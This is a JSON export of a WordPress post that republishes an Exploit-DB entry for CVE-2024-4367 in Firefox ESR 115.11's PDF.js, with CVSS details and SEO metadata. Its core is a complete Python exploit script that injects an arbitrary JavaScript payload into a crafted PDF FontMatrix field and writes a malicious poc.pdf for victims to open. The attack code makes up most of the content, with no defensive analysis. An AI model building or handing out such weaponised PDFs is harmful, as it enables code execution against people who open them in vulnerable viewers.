{"id":933,"date":"2025-04-23T05:59:46","date_gmt":"2025-04-23T05:59:46","guid":{"rendered":"http:\/\/localhost\/?p=933"},"modified":"2025-04-23T05:59:46","modified_gmt":"2025-04-23T05:59:46","slug":"firefox-esr-11511-pdfjs-arbitrary-javascript-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=933","title":{"rendered":"Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52273<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">8.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-4367<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Firefox ESR 115.11 &#8211; Arbitrary JavaScript execution in PDF.js Date: 2025-04-16 Exploit Author: Milad&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Firefox ESR 115.11 &#8211; Arbitrary JavaScript execution in<br \/>\n<br \/>PDF.js<br \/>\n<br \/># Date: 2025-04-16<br \/>\n<br \/># Exploit Author: Milad Karimi (Ex3ptionaL)<br \/>\n<br \/># Contact: miladgrayhat@gmail.com<br \/>\n<br \/># Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL<br \/>\n<br \/># MiRROR-H: https:\/\/mirror-h.org\/search\/hacker\/49626\/<br \/>\n<br \/># Vendor Homepage: https:\/\/wordpress.org<br \/>\n<br \/># Version: = 115.11<br \/>\n<br \/># Tested on: Win, Ubuntu<br \/>\n<br \/># CVE : CVE-2024-4367<\/p>\n<p>#!\/usr\/bin\/env python3<\/p>\n<p>import sys<\/p>\n<p>def generate_payload(payload):<br \/>\n<br \/>    backslash_char = &#8220;\\\\&#8221;<br \/>\n<br \/>    fmt_payload = payload.replace(&#8216;(&#8216;, &#8216;\\\\(&#8216;).replace(&#8216;)&#8217;, &#8216;\\\\)&#8217;)<br \/>\n<br \/>    font_matrix = f&#8221;\/FontMatrix [0.1 0 0 0.1 0 (1{backslash_char});\\n&#8221; +<br \/>\n<br \/>f&#8221;{fmt_payload}&#8221; + &#8220;\\n\/\/)]&#8221;<br \/>\n<br \/>    return f&#8221;&#8221;&#8221;<br \/>\n<br \/>%PDF-1.4<br \/>\n<br \/>%DUMMY<br \/>\n<br \/>8 0 obj<br \/>\n<br \/><<\n<br \/>\/PatternType 2<br \/>\n<br \/>\/Shading<<\n<br \/>  \/Function<<\n<br \/>    \/Domain[0 1]<br \/>\n<br \/>    \/C0[0 0 1]<br \/>\n<br \/>    \/C1[1 0.6 0]<br \/>\n<br \/>    \/N 1<br \/>\n<br \/>    \/FunctionType 2<br \/>\n<br \/>  >><br \/>\n<br \/>  \/ShadingType 2<br \/>\n<br \/>  \/Coords[46 400 537 400]<br \/>\n<br \/>  \/Extend[false false]<br \/>\n<br \/>  \/ColorSpace\/DeviceRGB<br \/>\n<br \/>>><br \/>\n<br \/>\/Type\/Pattern<br \/>\n<br \/>>><br \/>\n<br \/>endobj<br \/>\n<br \/>5 0 obj<br \/>\n<br \/><<\n<br \/>\/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0<br \/>\n<br \/>0 0 573 0 573 0 341]<br \/>\n<br \/>\/Type\/Font<br \/>\n<br \/>\/BaseFont\/PAXEKO+SourceSansPro-Bold<br \/>\n<br \/>\/LastChar 102<br \/>\n<br \/>\/Encoding\/WinAnsiEncoding<br \/>\n<br \/>{font_matrix}<br \/>\n<br \/>\/Subtype\/Type1<br \/>\n<br \/>\/FirstChar 65<br \/>\n<br \/>\/FontDescriptor 9 0 R<br \/>\n<br \/>>><br \/>\n<br \/>endobj<br \/>\n<br \/>2 0 obj<br \/>\n<br \/><<\n<br \/>\/Kids[3 0 R]<br \/>\n<br \/>\/Type\/Pages<br \/>\n<br \/>\/Count 1<br \/>\n<br \/>>><br \/>\n<br \/>endobj<br \/>\n<br \/>9 0 obj<br \/>\n<br \/><<\n<br \/>\/Type\/FontDescriptor<br \/>\n<br \/>\/ItalicAngle 0<br \/>\n<br \/>\/Ascent 751<br \/>\n<br \/>\/FontBBox[-6 -12 579 713]<br \/>\n<br \/>\/FontName\/PAXEKO+SourceSansPro-Bold<br \/>\n<br \/>\/StemV 100<br \/>\n<br \/>\/CapHeight 713<br \/>\n<br \/>\/Flags 32<br \/>\n<br \/>\/FontFile3 10 0 R<br \/>\n<br \/>\/Descent -173<br \/>\n<br \/>\/MissingWidth 250<br \/>\n<br \/>>><br \/>\n<br \/>endobj<br \/>\n<br \/>6 0 obj<br \/>\n<br \/><<\n<br \/>\/Length 128<br \/>\n<br \/>>><br \/>\n<br \/>stream<br \/>\n<br \/>47 379 489 230 re S<br \/>\n<br \/>\/Pattern cs<br \/>\n<br \/>BT<br \/>\n<br \/>  50 500 Td<br \/>\n<br \/>  117 TL<br \/>\n<br \/>  \/F1 150 Tf<br \/>\n<br \/>  \/P1 scn<br \/>\n<br \/>  (AbCdEf) Tj<br \/>\n<br \/>  \/P2 scn<br \/>\n<br \/>  (AbCdEf) &#8216;<br \/>\n<br \/>ET<br \/>\n<br \/>endstream<br \/>\n<br \/>endobj<br \/>\n<br \/>3 0 obj<br \/>\n<br \/><<\n<br \/>\/Type\/Page<br \/>\n<br \/>\/Resources 4 0 R<br \/>\n<br \/>\/Contents 6 0 R<br \/>\n<br \/>\/Parent 2 0 R<br \/>\n<br \/>\/MediaBox[0 0 595.2756 841.8898]<br \/>\n<br \/>>><br \/>\n<br \/>endobj<br \/>\n<br \/>10 0 obj<br \/>\n<br \/><<\n<br \/>\/Length 800<br \/>\n<br \/>\/Subtype\/Type2<br \/>\n<br \/>>><br \/>\n<br \/>stream<\/p>\n<p>endstream<br \/>\n<br \/>endobj<br \/>\n<br \/>7 0 obj<br \/>\n<br \/><<\n<br \/>\/PatternType 1<br \/>\n<br \/>\/Matrix[1 0 0 1 50 0]<br \/>\n<br \/>\/Length 58<br \/>\n<br \/>\/TilingType 1<br \/>\n<br \/>\/BBox[0 0 16 16]<br \/>\n<br \/>\/YStep 16<br \/>\n<br \/>\/PaintType 1<br \/>\n<br \/>\/Resources<<\n<br \/>>><br \/>\n<br \/>\/XStep 16<br \/>\n<br \/>>><br \/>\n<br \/>stream<br \/>\n<br \/>0.65 g<br \/>\n<br \/>0 0 16 16 re f<br \/>\n<br \/>0.15 g<br \/>\n<br \/>0 0 8 8 re f<br \/>\n<br \/>8 8 8 8 re f<br \/>\n<br \/>endstream<br \/>\n<br \/>endobj<br \/>\n<br \/>4 0 obj<br \/>\n<br \/><<\n<br \/>\/Pattern<<\n<br \/>  \/P1 7 0 R<br \/>\n<br \/>  \/P2 8 0 R<br \/>\n<br \/>>><br \/>\n<br \/>\/Font<<\n<br \/>  \/F1 5 0 R<br \/>\n<br \/>>><br \/>\n<br \/>>><br \/>\n<br \/>endobj<br \/>\n<br \/>1 0 obj<br \/>\n<br \/><<\n<br \/>\/Pages 2 0 R<br \/>\n<br \/>\/Type\/Catalog<br \/>\n<br \/>\/OpenAction[3 0 R \/Fit]<br \/>\n<br \/>>><br \/>\n<br \/>endobj<\/p>\n<p>xref<br \/>\n<br \/>0 11<br \/>\n<br \/>0000000000 65535 f<br \/>\n<br \/>0000002260 00000 n<br \/>\n<br \/>0000000522 00000 n<br \/>\n<br \/>0000000973 00000 n<br \/>\n<br \/>0000002178 00000 n<br \/>\n<br \/>0000000266 00000 n<br \/>\n<br \/>0000000794 00000 n<br \/>\n<br \/>0000001953 00000 n<br \/>\n<br \/>0000000015 00000 n<br \/>\n<br \/>0000000577 00000 n<br \/>\n<br \/>0000001085 00000 n<br \/>\n<br \/>trailer<br \/>\n<br \/><<\n<br \/>\/ID[(DUMMY) (DUMMY)]<br \/>\n<br \/>\/Root 1 0 R<br \/>\n<br \/>\/Size 11<br \/>\n<br \/>>><br \/>\n<br \/>startxref<br \/>\n<br \/>2333<br \/>\n<br \/>%%EOF<br \/>\n<br \/>&#8220;&#8221;&#8221;<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>\n<br \/>    if len(sys.argv) != 2:<br \/>\n<br \/>        print(f&#8221;Usage: {sys.argv[0]} <payload>&#8220;)<br \/>\n<br \/>        sys.exit(1)<br \/>\n<br \/>    print(&#8220;[+] Created malicious PDF file: poc.pdf&#8221;)<br \/>\n<br \/>    print(&#8220;[+] Open the file with the vulnerable application to trigger the<br \/>\n<br \/>exploit.&#8221;)<\/p>\n<p>    payload = generate_payload(<br \/>\n<br \/>        sys.argv[1])<br \/>\n<br \/>    with open(&#8220;poc.pdf&#8221;, &#8220;w&#8221;) as f:<br \/>\n<br \/>        f.write(payload)<\/p>\n<p>    sys.exit(0)\n<\/p><\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52273\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution Exploit ID EDB-ID:52273 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,40,15,13,7,11,5],"class_list":["post-933","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Firefox ESR 115.11 - PDF.js Arbitrary JavaScript execution - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=933\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Firefox ESR 115.11 - PDF.js Arbitrary JavaScript execution - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution Exploit ID EDB-ID:52273 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=933\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T05:59:46+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=933#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=933\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution\",\"datePublished\":\"2025-04-23T05:59:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=933\"},\"wordCount\":291,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=933#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=933\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=933\",\"name\":\"Firefox ESR 115.11 - PDF.js Arbitrary JavaScript execution - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-23T05:59:46+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=933#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=933\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=933#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Firefox ESR 115.11 - PDF.js Arbitrary JavaScript execution - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=933","og_locale":"en_US","og_type":"article","og_title":"Firefox ESR 115.11 - PDF.js Arbitrary JavaScript execution - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution Exploit ID EDB-ID:52273 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information...","og_url":"https:\/\/zero.redgem.net\/?p=933","og_site_name":"zero redgem","article_published_time":"2025-04-23T05:59:46+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=933#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=933"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution","datePublished":"2025-04-23T05:59:46+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=933"},"wordCount":291,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=933#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=933","url":"https:\/\/zero.redgem.net\/?p=933","name":"Firefox ESR 115.11 - PDF.js Arbitrary JavaScript execution - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-23T05:59:46+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=933#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=933"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=933#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Firefox ESR 115.11 &#8211; PDF.js Arbitrary JavaScript execution"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/933","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=933"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/933\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=933"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=933"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=933"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}